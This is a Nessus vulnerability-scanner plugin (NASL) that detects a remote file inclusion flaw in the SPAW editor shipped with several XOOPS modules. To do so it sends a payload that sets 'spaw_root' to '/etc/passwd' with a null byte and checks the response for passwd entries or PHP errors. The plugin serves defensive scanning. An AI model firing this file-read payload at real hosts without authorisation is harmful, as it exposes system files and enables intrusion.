XOOPS Multiple Modules spaw_control.class.php spaw_root Parameter Remote File Inclusion

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(25372);
  script_version("1.28");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id(
    "CVE-2007-3057",
    "CVE-2007-3220",
    "CVE-2007-3221",
    "CVE-2007-3237",
    "CVE-2007-3289"
  );
  script_bugtraq_id(24302, 24470);
  script_xref(name:"EDB-ID", value:"4022");
  script_xref(name:"EDB-ID", value:"4063");
  script_xref(name:"EDB-ID", value:"4069");
  script_xref(name:"EDB-ID", value:"4070");
  script_xref(name:"EDB-ID", value:"4084");

  script_name(english:"XOOPS Multiple Modules spaw_control.class.php spaw_root Parameter Remote File Inclusion");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by a
remote file include vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote host is running a third-party module for XOOPS. 

The version of at least one such module installed on the remote host
includes a copy of the SPAW PHP WYSIWYG editor control that fails to
sanitize user-supplied input to the 'spaw_root' parameter of the
'spaw_control.class.php' script before using it to include PHP code. 
Provided PHP's 'register_globals' setting is enabled, an
unauthenticated attacker can exploit this issue to view arbitrary
files on the remote host or possibly to execute arbitrary PHP code,
perhaps from third-party hosts.");
  script_set_attribute(attribute:"solution", value:
"Disable PHP's 'register_globals' setting or contact the product's
author to see if an upgrade exists.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:"CANVAS");

  script_set_attribute(attribute:"vuln_publication_date", value:"2007/06/01");
  script_set_attribute(attribute:"plugin_publication_date", value:"2007/06/02");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:xoops:xoops:xoops:icontent_module");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:xoops:xoops:xoops:cjay_content_module");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:xoops:xoops:xoops:xt-conteudo_module");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:xoops:xoops:tinycontent_module");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:xoops:xoops:wiwimod_module");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2007-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("xoops_detect.nasl");
  script_require_keys("www/xoops");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_http_port(default:80, embedded: 0);
if (!can_host_php(port:port)) exit(0);


# Vulnerable modules
nmods = 0;
mod = make_array();
# -   Cjay Content 3
mod[nmods++] = "cjaycontent/admin/editor2";
# -   iContent
mod[nmods++] = "icontent/include/wysiwyg";
# -   TinyContent
mod[nmods++] = "tinycontent/admin/spaw";
# -   WiwiMod
mod[nmods++] = "wiwimod/spaw";
# -   XT-Conteudo
mod[nmods++] = "xt_conteudo/admin/spaw";


info = "";
contents = "";


# Test an install.
install = get_kb_item(string("www/", port, "/xoops"));
if (isnull(install)) exit(0);
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches))
{
  dir = matches[2];

  # Try to exploit the flaw to read a file.
  file = "/etc/passwd";
  for (i=0; i<nmods; i++)
  {
    u = string(
        dir, "/modules/", mod[i], "/spaw_control.class.php?",
        "spaw_root=", file, "%00"
      );
    r = http_send_recv3(port:port, method: "GET", item: u);
    if (isnull(r)) exit(0);

    # There's a problem if...
    if (
      (
        # there's an entry for root or...
        egrep(pattern:"root:.*:0:[01]:", string:r[2]) ||
        # we get an error saying "failed to open stream" or...
        string("main(", file, "\\0config/spaw_control.config.php): failed to open stream") >< r[2] ||
        # we get an error claiming the file doesn't exist or...
        string("main(", file, "): failed to open stream: No such file") >< r[2] ||
        # we get an error about open_basedir restriction.
        string("open_basedir restriction in effect. File(", file) >< r[2]
      )
    )
    {
      info = info +
             "  " + dir + "/modules/" + mod[i] + "/spaw_control.class.php" + '\n';

      if (!contents && egrep(string:r[2], pattern:"root:.*:0:[01]:"))
        contents = r[2];

      if (!thorough_tests) break;
    }
  }
}

if (info)
{
  if (contents)
  {
    contents = data_protection::redact_etc_passwd(output:contents);
    info = string(
    "The following scripts(s) are vulnerable :\n",
    "\n",
      info,
      "\n",
      "And here are the (repeated) contents of the file '/etc/passwd' that\n",
      "Nessus was able to read from the remote host :\n",
      "\n",
      contents
    );
  }
  security_hole(port:port, extra: info);
}